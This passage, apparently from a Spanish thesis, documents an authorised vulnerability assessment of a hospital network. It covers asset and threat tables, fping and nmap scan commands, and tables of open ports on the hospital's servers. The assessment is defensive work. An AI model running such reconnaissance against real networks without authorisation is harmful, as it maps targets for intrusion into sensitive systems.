Enumeracién de los sistemas activos en el rango de direcciones IP privadas
Enumeracién de los sistemas activos en el rango de direcciones IP publicas
Enumeracién de puertos

Identificar el uso de protocolos de enrutamiento

Identificar el uso de protocolos no estandar

Identificar el uso de protocolos cifrados

Identificacién de servicios

Identificacién de sistema operativo

Busqueday verificacién de vulnerabilidades

Identificar y examinar vulnerabilidades relativas a las aplicaciones y/o servicios y al
sistema operativo, utilizando herramientas de hacking y exploits
Enrutamiento

Identificar las propiedades implementadas en el router

Identificar y verificar las politicas de seguridad a partir de ACL

Descifrado de contrasefia.

Buscar contrasefas por fuerza bruta para aplicaciones de los equipos de red
Identificar sistemas vulnerables a ataques de descifrado de contrasefias
Identificar sistemas con usuario o cuenta de sistema que usan las mismas
contrasefas

Testeo de denegacién de servicios

Identificar los sistemas vulnerables a ataques de denegacion de servicios
Seguridad en las Comunicaciones

Testeo de Voz/ IP.

Identificar los niveles de control de interceptaciones en las comunicaciones
Seguridad Inalambrica

Revision de privacidad en redes inalambricas [802.11]
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— Verificar el método de autenticacion de los usuarios
— Verificar si estan en uso de forma apropiada contrasefias robustas

— Verificar si el cifrado est4 en uso y correctamente configurado

»

Seguridad Fisica

7
0.0

Revision de perimetro

— ldentificar los tipos de medidas de proteccion

— Trazar mapa de perimetro fisico de acceso a los componentes clave
% Revision de monitoreo

— Trazar mapa de areas monitoreadas y no monitoreadas

— Determinar limitaciones de monitoreo

% Revision de ubicacion

— Determinar los puntos vulnerables en la ubicacion fisica de los componentes.
1.3.1. FASE 1. Reunidn de Activos y Perfiles de amenaza

La primera fase de la metodologia OCTAVE describe la reunion de activos de la
infraestructura, identificados en base la informacién del perfil de red sobre los cuales

se realizaréa el andlisis de vulnerabilidades.
1.3.1.1. PROCESO 1. Identificacién de Activos

En base a la infraestructura de la red se procedi6 a identificar los activos criticos, los
cuales representan los puntos clave en la comunicacion de la red. Se han agrupado

los activos criticos en las siguientes categorias:
% Hardware

Se consideran como activos criticos de Hardware a los servidores y equipos de red de
acuerdo a la funcion que desempefian, su importancia recae en la suspension del
servicio de los sistemas de informacién y comunicaciones que permiten a la Institucion

brindar sus servicios de atencién médica.
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HARDWARE FACTORES DE IMPORTANCIA
IBM NEFINITY 500 — Servidor del software MONICA utilizado por el
4RY departamento de Recaudacion.

— Administracién de los equipos de la red mediante
Active Directory. El cual no se explota en su totalidad

para todas las estaciones de trabajo.

HP Proliant — Servidor del Sistema de Gestién Hospitalaria SGH.
DL380GS — Servidor del Sistema de Recursos Humanos SGRHIA.
HP ML 110G6 — Servidor de Comunicaciones con Elastix para Volp
Switch 3Com 4500 — Administracion de VLANSs de la red.

Access Point D-LINK | —  Acceso inaldmbrico para el area de direccion.

Switch Cisco Catalyst | — Acceso de estaciones de trabajo a la red.

2900

Router Cisco877-M

Servicio de internet. (ISP)

Tabla 6. Activos criticos de Hardware.

< Software

En el grupo de activos de Software se contemplan el Sistema Operativo de los
servidores y de los equipos administrables de la red.

SOFTWARE FACTORES DE IMPORTANCIA
Sistema Operativo | — Sistema Operativo Windows 2000 Server del Servidor
de Servidores de Recaudacion

— Sistema Operativo Windows 2008 Server del Servidor
de los sistemas SGH y SGRHIA.

— Sistema Operativo Centos 5.3.

Sistema Operativo | — Sistema Operativo de los equipos administrables de la

de equipos de red red como Switch 3Com y Cisco 2900.

Tabla 7. Activos criticos de Software.

% Informacién

En los activos de Informacion se contempla aquella contenida en las bases de datos
de los servidores de los sistemas de Gestion Hospitalaria, Recursos Humanos y

Recaudacion e informacion compartida en la red.
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llustracion 19. Sistema de Gestion Hospitalaria.

ista de empresas

ACEPTAR CANCELAR

llustracion 20. Sistema de Recaudacion.

La informacién de configuracion de los equipos de red, asi como la informacién
correspondiente al manejo y administracién de los equipos; es decir, el conocimiento
del administrador de la red, manuales de uso y programacion, se consideran un activo

importante en la infraestructura de red.
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INFORMACION FACTORES DE IMPORTANCIA

La informacion corresponde a los siguientes modulos:

— Administracion de Historias Clinicas (Pacientes).

— Administracion de turnos.

— Administracion de camas en hospitalizacion.

— Auditoria de sucesos en el Sistema.

— Ingreso de informes de las salas de Laboratorio, Rayos X,
Consulta externa.

— Utilizados en diferentes areas del hospital como emergencia
y estadistica, laboratorios y hospitalizacion.

Sistema SGH

Informacion utilizada por la oficina de Recursos Humanos vy
oficinas que cuentan con personal de rotacién (turnos) como
Jefe de enfermeras. El sistema constituye la siguiente
informacion:

— Datos personales de los empleados.

— Administracion de Horarios.

— Administracion de calendario laboral.

— Registro de entrada y salida de los empleados.

— Generacion de rol de pagos.

Sistema SGRHIA

— Informacion correspondiente a los ingresos de caja por
Sistema de algunos servicios médicos que tienen costo, utilizada por el
Recaudacion departamento de Recaudacién y Financiero.

— Indispensable para el funcionamiento de la red. No se posee
sistemas o equipos backup, si alguno de estos equipos es
perjudicado se suspenderia la comunicacién en la red.

Configuracion de
los equipos de

red
Conocimiento de | — Se considera importante ya que si no existe documentacion
la configuracion y y el administrador no se encuentra en la Institucién no se
administracién de puede dar solucion a cualquier problema que se suscite.
los equipos de
red

Tabla 8. Activos criticos de Informacién.

La informacion de los sistemas de informacién puede verse vulnerada por cualquier
ataque en la red, alterando la continuidad del servicio; ademas si no se posee
conocimientos y manuales de uso y configuracion de los equipos de red, no se podria

dar solucién a cualquier ataque o problema de seguridad que se presente.
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<+ Comunicaciones

En los activos que corresponden a la categoria de comunicacién se contempla la
central de PBX y el sistema de Volp, este servicio se considera importante ya que es
el medio utilizado principalmente para el servicio de reservacion de turnos, y

comunicacion entre departamentos de la Institucion.

1.3.1.2. PROCESO 2. Perfil de amenazas de seguridad de los activos

Se ha determinado las amenazas de los activos criticos identificados en el proceso
anterior considerando el perfil actual de la red y los problemas de seguridad

identificados en las encuestas y entrevistas aplicadas.

Es necesario identificar los usuarios que involuntariamente pueden vulnerar la
seguridad y provocar dafios en los activos de la red. En el hospital se puede identificar

los usuarios agrupados de la siguiente manera:

— Estudiantes: Grupo constituido por los estudiantes practicantes que realizan turnos
de atencién médica en el hospital y que hacen uso de los computadores de una

determinada area.

— Médicos: Grupo integrado por los médicos del area de Consulta externa y
Hospitalizaciéon que hacen uso de los equipos de cOmputo para acceder al Sistema

de Gestién Hospitalaria e internet.

— Empleados administrativos: Usuarios de la red que hacen uso de los sistemas de

gestion y del internet.

— Personal del Centro de Computo: Usuarios con privilegios de administrador de los

recursos de la red del hospital.
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ACTIVO

AMENAZAS

HARDWARE

Corte de energia

Acceso no autorizado a las instalaciones de los equipos
Robo de equipos

Acciones mal intencionadas o por desconocimiento
Incendio

Filtracion de agua

Sismos

Sobrecarga eléctrica

Discontinuidad del servicio por disefio inadecuado de infraestructura de
red y falta de documentacion.

Instalacion y configuracion inadecuada

SOFTWARE

Acceso no autorizado

Copias no autorizadas

Robo de contrasefias

No existen planes de mantenimiento preventivo ni correctivo
Denegacion de servicios

Destruccién o modificacién del sistema operativo o aplicaciones
Errores en la manipulacion del sistema operativo o aplicaciones
Malware

INFORMACION

Acceso no autorizado

Robo de contrasefias

Intercepcion de informacion

Ingenieria Social

Perdida de informacion

Modificacién de informacion

Divulgacién de informacion clasificada, sensible o no autorizada dentro
de lared

Ausencia intempestiva del administrador de la red

COMUNICACIONES

Corte de energia

Acceso no autorizado

Manipulacion inadecuada de la infraestructura de comunicacion
telefonica

Denegacion de servicios

Intercepcion de la comunicacion

Tabla 9. Amenazas de los Activos Criticos de la Red.

Para calcular el nivel de riesgo de los activos se requiere la probabilidad de ocurrencia

de las amenazas y la identificacion de las vulnerabilidades que se pueden explotar.

Este andlisis se realiza en la Gltima fase de la metodologia OCTAVE.
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1.3.2. FASE 2. |dentificacion de Vulnerabilidades en la Infraestructura

Esta fase comprende la evaluacién de la infraestructura de red, donde se examina las
debilidades de los componentes clave que puede llevar a acciones no autorizadas
contra los activos de la red. Para proceder con el desarrollo del andlisis de
vulnerabilidades es necesario determinar el método de analisis y el tipo de test a

realizar, y de esta manera delimitar las tareas a realizar:
«+» Meétodo de andlisis de vulnerabilidades

Para el analisis de vulnerabilidades se utilizard el método de Caja Blanca, ya que el
administrador de la red ha proporcionado el acceso necesario de tal forma que el
andlisis pueda ser mas completo.

s Tipo de test

Para la recopilacién de informacion, se ha considerado realizar un test interior, que
permita determinar el nivel de acceso de un usuario comun de la red. No se contempla
el test externo debido a que la Institucion no tiene presencia en internet, por lo tanto no

se puede comprobar el acceso externo hacia la reremoto a los sistemas.
1.3.2.1. PROCESO 3. Identificacion de componentes clave

En esta actividad se revisan los activos criticos y amenazas de la Fase 1 en relacion a
la infraestructura de la red, de los que se destaca la informacién contenida en los
equipos de red y el servicio que proporcionan los servidores. En base a estos activos
se ha examinado las rutas de acceso en los escenarios de amenaza para identificar

los componentes clave.

En la llustracion 21 se identifica los componentes clave de la red.
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........ -

Servidor de

-

llustracion 21. Identificacién de componentes claves de la red

Fuente: Autoras. Realizado en: Herramienta DIA.

COMCIT_OAI:I/ENTE FACTORES DE IMPORTANCIA
Constituyen el componente principal de la red ya que permiten el
Servidores almacenamiento y gestion de la informacion a partir de los
sistemas informaticos implementados en el hospital.
Equipos de Su importancia radica en que por medio de estos equipos se
comunicacion de | transmite la informacion entre los distintos usuarios de la red.
la red

Tabla 10. Componentes Clave del analisis de vulnerabilidades.

1.3.2.2. PROCESO 4. Evaluacion de componentes clave

La metodologia OSSTMM permitira realizar la evaluacion de los componentes clave de
la red, para lo cual se ha elaborado una Carta de Autorizacion, en la cual el
administrador se compromete a proporcionar la informacién necesaria, asi como su

consentimiento para el desarrollo de las pruebas de seguridad. (Anexo A)
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Para las pruebas de seguridad se utilizaron los equipos de hardware que se describen
en la siguiente tabla.

EQUIPO CARACTERISTICAS
Portatil HP —  Procesador: AMD Turion 64X2 1.60 GHz
Pavillon dv6000 | — Memoria:2 GB

— Disco duro:120 GB
— Sistema Operativo: Backtrack 4r2
— Tarjeta de red: 1 tarjeta NVidia 100Mbps

Computador — Procesador: Pentium Ill 800 MHz

— Memoria: 512 MB

— Disco duro:140 GB

— Sistema Operativo: Backtrack 5

— Tarjeta de red: 2 tarjetas de red 100Mbps

Tabla 11. Equipos para pruebas de testeo.

El software utilizado para el desarrollo de este proceso es el Sistema Operativo
Backtrack en sus versiones 4r2 y 5, el cual tiene un sinnimero de herramientas que

seran mencionadas en cada una de las pruebas de la metodologia.

La mayoria de herramientas utilizadas se ejecutan mediante el terminal o consola del

sistema como usuario root.
1.3.2.2.1. Seguridad en las Tecnologias de Internet

Esta seccion permite la identificacion del objetivo a testear mediante el modulo de

sondeo de red.
1. Sondeo de red

El sondeo de red es la primera actividad de esta seccién, que nos permite explorar el

disefio de la red para determinar sus vulnerabilidades.

Para la realizacion del test a través de la herramienta Backtrack, se ha asignado la
direccion IP 10.104.32.189 al equipo de pruebas. Para lo cual accedemos al archivo

de configuracion de red /etc/network/interfaces y definimos los siguientes parametros:
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iface ethl inet static

address 1

0.104.32.189

netmask 255.255.255.0

network 10.104.32.0
gateway 10.104.32.1
ethl Link encap:Ethernet Haaddr 00:06:29:17:c4:fe
1net addr 2.189| Bcast:10.104.32.255 Mask:255.255.255.0

1net6 addr: 2
UP BROADCAST RUNNING MULTICAST MTU:1500

Metric:l
RX packets:71392 errors:0 dropped:0 overruns:0 frame:0
TX packets:121826 errors:0 dropped:0 overruns:0 carrier:0

collisions: 4724 txqueuelen:1000
RX bytes:5819961 (5.8 MB) TX bytes:7144093 (7.1 MB)

llustracion 22. Configuracion de la IP del equipo de pruebas

% Definicion del rango de direcciones IP privadas

Para el andlisis se ha seleccionado los rangos de IPs que corresponden a los

segmentos de la red de datos, voz y enlaces, segun la informacién obtenida en el

andlisis preliminar (Switch 3Com1).

Primera Ultima
Red Mascara direccion | direccion de Broadcast Descripcion
de host host
utilizable utilizable
10.104.32.0 [255.255.255.0 |10.104.32.1 |10.104.32.254 (10.104.32.255 Datos
10.104.33.0 [255.255.255.0 |10.104.33.1 |10.104.33.254 (10.104.33.255 Voz
10.104.35.0 255.255.255.252 (10.104.35.1 | 10.104.35.2 10.104.35.3 Enlaces

Tabla 12. Bloque de direcciones privadas.

% Definicion del rango de direcciones IP publicas

El test permitira determinar el rango de direcciones IPs publicas asignado para la

Institucién, asi como las direcciones actualmente utilizadas, ya que esta informacion

es de desconocimiento del Administrador de la red.

A continuacion se describe las herramientas utilizadas y los resultados obtenidos:

Traceroute es una herrmamientra que muestra la ruta seguida por un paquete de de

datos hasta llegar a su destino. Permitié obtener la puerta de enlace para salir a la red

publica.
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# traceroute www.google.com:

rootght: -# traceroute www.google.con

traceroute to wwv.google.com (74.125.229.83), 30 hops max, 60 byte packets
1 10.104.32.53 (10.104.32,53) 9.894 as 10.531 as 10.507 as

(120. 150N 6.995 8s 8.1438s 8.121 us

2

3 10.20.20.1) 14.246 ns 14.253 s 15.606 »s

4 200.107.34.161 (200.107,34.161) 15.594 ms 16.634 as 16.604 »s
S 186.46.4.41 (186.46.4.41) 16.570 s 18.247 as 18,216 »s

6 186,45.4.6 (186.46.4.6) 18.180 ms 12.839as 11.772 as

7 186.42.168.1 (186.42.168.1) 11.735 ms 12.130 as 12.835 s

8 190.152.254.129 (190.152.254.129) 11.558 ms 12.737 as 14.351 as
9 190,152.252.198 (190.152.252.198) 70.341 as 70.358 as 71.721 as
10 190.152.251.82 (190.152.251.82) 78.342 ms 78.346 »s 80.539 as
11 209.85.253.74 (209.85.253.74) 183.184 ns 80,466 as 81.040 ns
12 209.85.254.178 (209.85.254.178) 81.008 as 82.410 »s 82.289 s
13 74.125.229.83 (74.125.229.83) 76.337 as 76.476 »s 77.133 s

llustracién 23. Identificacion de Gateway de router — Traceroute.

Para descubrir la IP con la que un equipo de la red privada se conecta a internet, se

utilizé una pagina web creada para este propésito. www.my-ip.es

A

E____Y-Ip.€S

2l

my-ip.es:

190.15 .

Afadir a Favoritos (CONTROL+D)

DETALLES DE TU CONEXION...

p Vemos quo utilizas: ‘ « Firefox 4.0.1 - A o Linux
AL

Novegador: Mozilla/s.0 (X11; Unux 1686; rv:2.0.1) Gecko/20100101

» Firefox/4.0.1

llustracion 24. Identificacion de IP pablica. MY-IP.

Con estos resultados se puede analizar que el router del ISP realiza un procedimiento
NAT para la salida a internet ya que las dos direcciones IP encontradas son distintas.
Se utilizd la herramienta Netmask que permiti6 obtener el rango de direcciones IP
publicas asignadas al Hospital mostrando la mascara de red correspondiente

rootgbt : = netmask 190.150E 150. 15
190. 1S

190. 15

190. 15 I

190. 15

190. 1SN

150, 1

190.1

rootgbt: -2 netmask 190.1S5E 1°0. 1S
n90. 1 S

190. 1SN

190. 15 N 30

190, 1SHN— 2 I

llustracion 25. Identificaciéon del rango de IP puablicas — Netmask.
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Se pudo determinar que la mascara de red en formato decimal es 255.255.255.248 o
CIDR/29 dando un total de 6 direcciones de host.

El médulo de identificacion de sistemas permitird especificar las direcciones IP activas
en el equipo del ISP.

% Informacién del ISP

WHOIS es un protocolo que permite conectarnos a un Servidor WHOIS para obtener

desde una base de datos universal informacion de un dominio o IP.

Se utiliz6 la pagina web whois.net, de donde se obtuvo informacién técnica del ISP del
Hospital. Los datos que se pueden observar son entre otros, el nombre del proveedor
que es la Corporacion Nacional de Telecomunicaciones CNT, asi como la informacién

del contacto de administracién del dominio.

. )
DOMAIN-BASED RESEARCH SERVICES
Domain Tools: Tool: Whois By IP Address
Wheis Domain Sesrch
Whaois By IP Address
020 Lookup
Find Out Whots By i
Web Ansyni Tootn: o 1 Ao, R TN SN
Bioa
You P Address [Quer ying wheis.Lacnic.net]
Narme By P Addresy [vhois. Lacmic. net]
(P Addresn by Namse
N Joint Wheis - vheis. Lacmic.net
SEO Analysis Tools: % This server accepts simgle ASH, IPvE or 1PvE queries
Algxa Reach <
A 5 c bary N LACNIC resourcer whois. Lacnic.net
Compare Alexs Rank
Total Qoogle Pagey
£ % Copyright LACNIC lacaic.met
% The data beleow is provided for information purpeses
Website Validators % and to aszist persens in obtainimg infermation about or
CHE MTML % related te AS and IP nesbers reglstrations
Yalidmor % By subsitting 4 vheis query., you agree to wse this data
YOO HIML % only for Lavful perposes.
Validator 20011803 13:22:06 (EET -03:00)
CS3 Validates
imetoen: 196,10
w5a- T status: allocated
-0 ewvner CORPORACION MACTOMAL DE TELECONUNICACIONES - CNT EP
~ 1 ewnerid: EC ANSA. LACHIC
m, m! respomsible: Evelin Gavilanes
address: Jorge Dren y Gaspar de Villareel, 954, 1 or Pise
addr ess) IS . Gwite - EC
VERIO &5 &
phone: «593 2 2941963 ()
e ey ewner <l bl
tech- <t L
abuse-c: v
b b0 ool imetrevs 199,15
mser ver PICHINCHA, ANDINANET . NET
mastat: 20111001 AA
welastaa: 20111001
mEarver s TURGURARUA  ANDINANET  NET  [Lane - not published]
mestat: 20111001 NOT SYNC ZOME
mslastaa: 20110713
created: 20021003
hanged: 20881003

llustraciéon 26. Informacion ISP-Whois.

Esta herramienta puede ser utilizada con fin mal intencionado. Por ejemplo, ataques

de Ingenieria Social, obteniendo informacion privada desde el contacto encontrado.
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« Enumeracién de los sistemas activos en el rango de direcciones IP privadas

Una vez determinado el rango de direcciones IP privadas se realiz6 la enumeracion de

los sistemas (equipos) activos de la red, mediante las herramientas Fping y Autoscan.

El reconocimiento de sistemas activos nos permite determinar los recursos de la red

para posteriormente identificar las vulnerabilidades presentes en los mismos.

Los resultados de la herramienta Fping son:

# fping —s —g 10.104.32.0/24
80 sistemas activos

# fping —s —g 10.104.33.0/24
28 sistemas activos

# fping —s —g 10.104.35.0/24

2 sistemas activos

00.104, 32,
10.104, 32.
N0.104. 32
RO 108 2

Footght: -2 fping
10.104,32.0 error vhile sending ping: Persission denied

11 1s
13 13
18 13

2 1

-$ -9 10.104,32.0/24

alive
alive
alive
alive

llustracion 27. Sistemas Activos de la red 10.104.32.0/24 - Fping
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10.104,33,251 13
10.104,33.252 1s
10.104.33.253 1s
10.104,33.254 1s

unreachable
unreachable
unreachable
unreachable

256
28
228
0

912
940
28
0

0.61 ms
5.19 ms
15.5 ms

targets

alive

unreachable
unknown addresses

timeouts (waiting for response)
ICMP Echos sent

ICMP Echo Replies received
other ICMP received

(min round trip time)
(avg round trip time)
(max round trip time)

35.817 sec (elapsed real time)

llustracion 28. Sistemas Activos de la red 10.104.33.0/24 — Fping.

rootgbt:-# fping -s -g 10.104.35.0/29
10.104.35.0 1s alive [<- 10,104.35.1]
10.104.35.1 1s alive
10.104.35.2 is alive
10.104.35.3 is unreachable
10.104.35.4 1s unreachable
10.104.35.5 is unreachable
10.104.35.6 is unreachable
10.104.35.7 is unreachable
8 targets
3 alive
S unreachable
0 unknown addresses
20 timeouts (waiting for response)
23 ICMP Echos sent
3 ICMP Echo Replies received
0 other ICMP received
1.85 ms (min round trip time)
2.79 ms (avg round trip time)
3.51 ms (max round trip time)
5.970 sec (elapsed real time)

llustracion 29. Sistemas Activos de la red 10.104.35.0/24 — Fping.

Los resultados a través de la herramienta Autoscan son:

Red 10.104.32.0/24

2 impresoras

27 teléfonosIP

49 PCs

2 equipos de red
Red 10.104.33.0/24

27 teléfonosIP
1 equipo Servidor
Red 10.104.35.0/24

2 equipos de red
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2

ettings  plotification Intrusion Alert Help

Motification Intrusion Ale

YTREE

" A

Telnet Http

llustracion 31. Identificacién de tipos de sistemas de la red 10.104.33.0 — Autoscan.

La herramienta Fping muestra en la red 10.104.33.0 a 28 sistemas activos en los
cuales consta el Servidor de Volp y los teléfonos. En la red 10.104.35.0 se encuentra 3
sistemas activos que constituyen las dos IPs de las interfaces de la VLAN Enlaces en

los switch 3Com y una IP que es la direccion de red.
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La herramienta Autoscan nos permitio obtener los tipos de sistemas en la red
10.104.32.0 donde identificamos la existencia de teléfonos, lo que demuestra una
vulnerabilidad en el disefio de red, implicando una amenaza para la continuidad de los

servicios, si el equipo de administracion de las VLANs es vulnerado.

En base a los resultados obtenidos de los sistemas activos se elabor6 archivos de
texto tanto para las IPs de los host de la red (denominado “hosts_activos.txt”),
excluyendo los teléfonos e impresoras; para las IPs de los servidores (denominado
“servidores.txt”) y equipos de red (denominado “equiposRed.txt”), los cuales seran

utilizados en las siguientes pruebas.
% Enumeracién de los sistemas activos en el rango de direcciones IP publicas

Una vez determinado el rango de direcciones IP publicas se realizd la enumeraciéon

direcciones activas, utilizando la herramienta Fping.

El reconocimiento de las direcciones IPs publicas activas nos permite identificar las IPs
con las cuales se tiene acceso a internet, y posteriormente analizar los equipos de red

correspondientes.

root@bt: - # fping -5 -g 190.15 /29
190.15 is alive
190. 1Sl is alive
190.15 is alive
190.15 ) 1s unreachable
190.15 is unreachable
190.15} is unreachable
190.15 is unreachable
190.15s is unreachable

8 targets

3 alive

S unreachable

0 unknown addresses

20 timeouts (waiting for response)
23 ICMP Echos sent

3 ICMP Echo Replies received

0 other ICMP received

48.9 ms (min round trip time)
49.3 ms (avg round trip time)
50.0 ms (max round trip time)
5.981 sec (elapsed real time)

llustracion 32. Sistemas Activos en direcciones IP publicas 03-10-2011.
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Se ha identificado a través de la herramienta Fping tres direcciones activas en el rango

de direcciones publicas.

En esta seccion del andlisis se descubrio una direccion publica adicional activa, por lo
que fue necesario examinar una subred que tiene una conexion publica independiente
para un equipo de examenes médicos (Tomografia), esta conexién permite a los
proveedores de los equipos (SIEMENS) realizar mantenimiento remotamente a través
de un router que utiliza esta direccion publica. La administracion y configuracion del

router no es de conocimiento del Administrador de la red.

Este tipo de enlaces son de suma importancia para la Instituciéon, sin embargo es
necesario independizar la red local del acceso remoto, es decir crear una VLAN
independiente para todos los equipos médicos que requieran este enlace.

% Enumeracién de puertos

Esta actividad nos permite conocer los puertos TCP y UDP que se encuentran
abiertos, filtrados y cerrados en cada uno de los sistemas activos de la red, para

posteriormente descubrir las vulnerabilidades a las que se encuentran expuestos.

Para la enumeracion de puertos y sistemas, se hace uso de Nmap, una herramienta
que utiliza una base de conocimiento bastante amplia para determinar los resultados

con la mayor precisién posible.

Es necesario conocer los puertos abiertos mayores a 1024, que son utilizados por
distintas aplicaciones, y de esta manera descubrir el uso de puertos no registrados por
aplicaciones inseguras. El escaneo UDP no es exacto, sin embargo este protocolo es

bastante débil por lo que es necesario analizar los puertos que se encuentran abiertos.

Para verificar los resultados obtenidos con Nmap, fue necesario realizar conexiones
via telnet a los puertos TCP, comprobando que algunos puertos se encuentran

cerrados, los mismos que se indican en las tablas de resultados.

Los archivos utilizados para esta prueba contienen las direcciones IP de los equipos

activos: servidores, equipos de red y host, obtenidos en la enumeracion de sistemas.

Las técnicas empleadas para la enumeracion de puertos en los servidores son:
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— Escaneo SYN (a los puertos TCP por defecto en nmap)

nmap —sS -iL<archivo>

Nmap envia paquetes SYN (-sS) al objetivo.

— Escaneo CONNECT (puertos TCP mayores que 1024)

nmap —sT —p1024- -iL<archivo>

Nmap realiza una conexion completa al objetivo (SYN, SYN/ACK y ACK).

— Escaneo UDP (puertos UDP por defecto en nmap)

nmap —sU-iL<archivo>

Nmap envia paquetes UDP vacios al objetivo para evaluar su respuesta y

considerar los destinos inalcanzables como puertos cerrados.

Las Tablas 14,15,16 muestran los resultados obtenidos del escaneo SYN realizado a

los servidores.

rootgbt: -2 nmap -sS -iL /root/Desktop/identificacion_de sistemas/servidores

Starting Mmap 5.51 ( http://nmap.org ) at 2011-10-04 10:39 ECT
Neap scan report for 10.104,32.51
Host is up (0.0075s latency).

Not shown: 976 closed ports

PORT STATE SERVICE
21/tcp open  ftp

135/tcp open msrpc
138/tcp  open netblos-ssn
445/tcp  open microsoft-ds

llustracion 33. Enumeracion de puertos TCP de Servidores (Escaneo SYN).

PORT

1433/tcp
2301 ftcp
2381 ftep
2383Mtcp
3306/ tcp
3389/tcp
3700/ tep

rootabt: -# nmap -sT -pli24- -iL /root/Deskiopsidentificacion de sistemas/servidores

Starting Mmap 5.51 ( http://nmap.org
Mmap scan report for 10.104.32.51
Host is up (0.025s latency).

Hot shown: 64481 closed ports

STATE SERVICE

open
open
open
apen
open
open
open

ms-sql-s
compagdiag
compaq-https
ns-0lapd
mnysql
ms-term-sery
lrs-paging

) at 2011-10-04 11:00 ECT

llustracion 34. Enumeracion de puertos TCP de Servidores (Escaneo Connect).
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rootgbt: # nmap -sU -1L /root/Desktop/identificacion_de_sistemas/servidores

Starting Nmap 5.51 ( http://nmap.org ) at 2011-10-04 11:15 ECT
Nmap scan report for 10.104.32.51
Host 1s up (0.00093s latency).
Not shown: 989 closed ports

PORT STATE SERVICE
123/udp  open|filtered ntp

137/udp open netbios-ns
138/udp  open|filtered netbios-dgn
500/udp open|filtered isakmp
1434/udp open|filtered ms-sql-m
3702/udp open|filtered ws-discovery
4500/udp open|filtered nat-t-ike
5355/udp open|filtered llanr

llustracion 35. Enumeracion de puertos UDP de servidores.

Servidor SGH 10.104.32.51

Puerto Estado Servicio
21/TCP Abierto ftp
135/TCP Abierto Msrpc
139/TCP Abierto netbios-ssn
445/TCP Abierto microsoft-ds
1433/TCP Abierto ms-sql-s
2301/TCP Abierto Compagqdiag
2381/TCP Abierto compag-https
2383/TCP Abierto ms-olap4?
3306/TCP Abierto Mysql
3389/TCP Abierto ms-term-serv
3920/TCP Abierto exasoftportl
4848/TCP Abierto appserv-http
5357/TCP Abierto Wsdapi
5800/TCP Abierto vnc-http
5900/TCP Abierto Vnc
7676/TCP Abierto Imgbrokerd
8009/TCP Abierto ajpl3
8080/TCP Abierto http-proxy
8181/TCP Abierto Desconocido
49152/TCP Abierto Desconocido
123/UDP Abiertoffiltrado Ntp
137/UDP Abierto netbios-ns
138/UDP Abiertoffiltrado netbios-dgm
500/UDP Abiertoffiltrado Isakmp
1434/UDP Abiertoffiltrado ms-sql-m
3702/UDP Abiertoffiltrado ws-discovery
4500/UDP Abiertoffiltrado nat-t-ike
5355/UDP Abiertoffiltrado Limnr
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49152/UDP Abiertolfiltrado Desconocido
49154/UDP Abiertolfiltrado Desconocido
49156/UDP Abiertolfiltrado Desconocido

Tabla 13. Enumeracion de puertos al Servidor SGH.

Servidor Recaudacién 10.104.32.52

Puerto Estado Servicio
25/TCP Abierto Smtp
42[/TCP Abierto Nameserver
80/TCP Abierto http
88/TCP Abierto kerberos-sec
135/TCP Abierto Msrpc
139/TCP Abierto netbios-ssn
389/TCP Abierto Ldap
443/TCP Abierto https
445/TCP Abierto microsoft-ds
464/TCP Abierto kpasswd5
515/TCP Abierto Printer
593/TCP Abierto http-rpc-epmap
636/TCP Abierto Ldapssl
1026/TCP Abierto LSA-or-nterm
1029/TCP Abierto ms-Isa
1063/TCP Abierto Kyoceranetdev
1064/TCP Abierto Jstel
1068/TCP Cerrado instl_bootc
1079/TCP Cerrado Asprovatalk
3268/TCP Abierto globalcatLDAP
3269/TCP Abierto globalcatLDAPssI
3389/TCP Abierto ms-term-serv
9390/TCP Abierto Desconocido
42/UDP Abiertoffiltrado Nameserver
67/UDP Abiertolfiltrado Dhcps
68/UDP Abiertoffiltrado kerberos-sec
88/UDP Abiertoffiltrado kerberos-sec
123/UDP Abierto Ntp
135/UDP Abiertolfiltrado Msrpc
137/UDP Abierto netbios-ns
138/UDP Abiertolfiltrado netbios-dgm
161/UDP Abiertolfiltrado Snmp
389/UDP Abiertoffiltrado Ldap
445/UDP Abiertoffiltrado microsoft-ds
464/UDP Abiertoffiltrado kpasswd5
500/UDP Abiertoffiltrado Isakmp
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1028/UDP Abiertoffiltrado ms-Isa
1030/UDP Abiertoffiltrado iadl
1041/UDP Abiertoffiltrado danf-ak2
1044/UDP Abiertoffiltrado cognex-insight
1048/UDP Abiertoffiltrado neod2
1069/UDP Cerrado cognex-insight
1645/UDP Abiertolfiltrado Radius
1646/UDP Abiertolfiltrado Radacct
1812/UDP Abiertolfiltrado Radius
1813/UDP Abiertolfiltrado Radact
3456/UDP Abiertolfiltrado IISrpc-or-vat
4500/UDP Abiertolfiltrado nat-t-ike

Tabla 14. Enumeracion de puertos TCP al Servidor de Recaudacion.

Servidor de VolIP 10.104.33.2
Puerto Estado Servicio
22/TCP Abierto Ssh
25/TCP Abierto Smtp
80/TCP Abierto http
110/TCP Abierto pop3
111/TCP Abierto Rpcbind
143/TCP Abierto Imap
443/TCP Abierto https
993/TCP Abierto Imaps
995/TCP Abierto pop3s
1022/TCP Abierto exp2
2000/TCP Abierto cisco-sccp
3306/TCP Abierto Mysql
4445/TCP Abierto Upnotifyp
4559/TCP Abierto Hylafax
5038/TCP Abierto desconocido
69/UDP Abierto pop3
111/UDP Abierto Rpcbind
123/UDP Abierto poop3s
1019/UDP Abierto Desconocido
5060/UDP Abierto Sip

Tabla 15. Enumeracion de puertos Servidor de Voz.

A continuacion se realiza un analisis de los puertos mas importantes encontrados en

los servidores que son comunmente vulnerados:
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— Los puertos 135 (tcp/udp), 137 (udp), 138 (udp), 139 (tcp) de NetBios permiten
encontrar de forma remota informacion del sistema. En el caso del servidor SGH
debe tener cerrados los puertos NetBios ya que no se requiere ningln acceso por
medio de estos, sin embargo el Servidor de Recaudacion debido al sistema que
mantiene del servicio SMB y por tanto tener abierto estos puertos.

— El puerto 445 (tcp) de Microsoft-DS permite la ejecucién de Active Directory en el
Servidor de Recaudacion, sin embargo puede un usuario remoto acceder y
consumir el 100% de los recursos del equipo y llegar a dejarlo fuera de
funcionamiento. Conocido por ataques del gusano Sasser.

— El puerto 3389 (tcp) es utilizado por Windows Server para escritorio remoto. Esta
aplicacion puede ser victima de un exploit por medio de un ataque Man-in the-
Middle.

— El puerto 161 (UDP) utilizado por SNMP y cuya comunidad es por defecto publica,
permite encontrar informacion de configuracion del servidor, como interfaces,
usuarios, archivos o recursos compartidos, etc.

— Al igual que los servidores de aplicaciones, el servidor de Voz/IP tiene varios
puertos abiertos debido a que el Sistema Centos incluye algunos servicios, como:
25 (smtp), 110(pop3), 143 (imap), entre otros. Se debe refinar la configuracién del
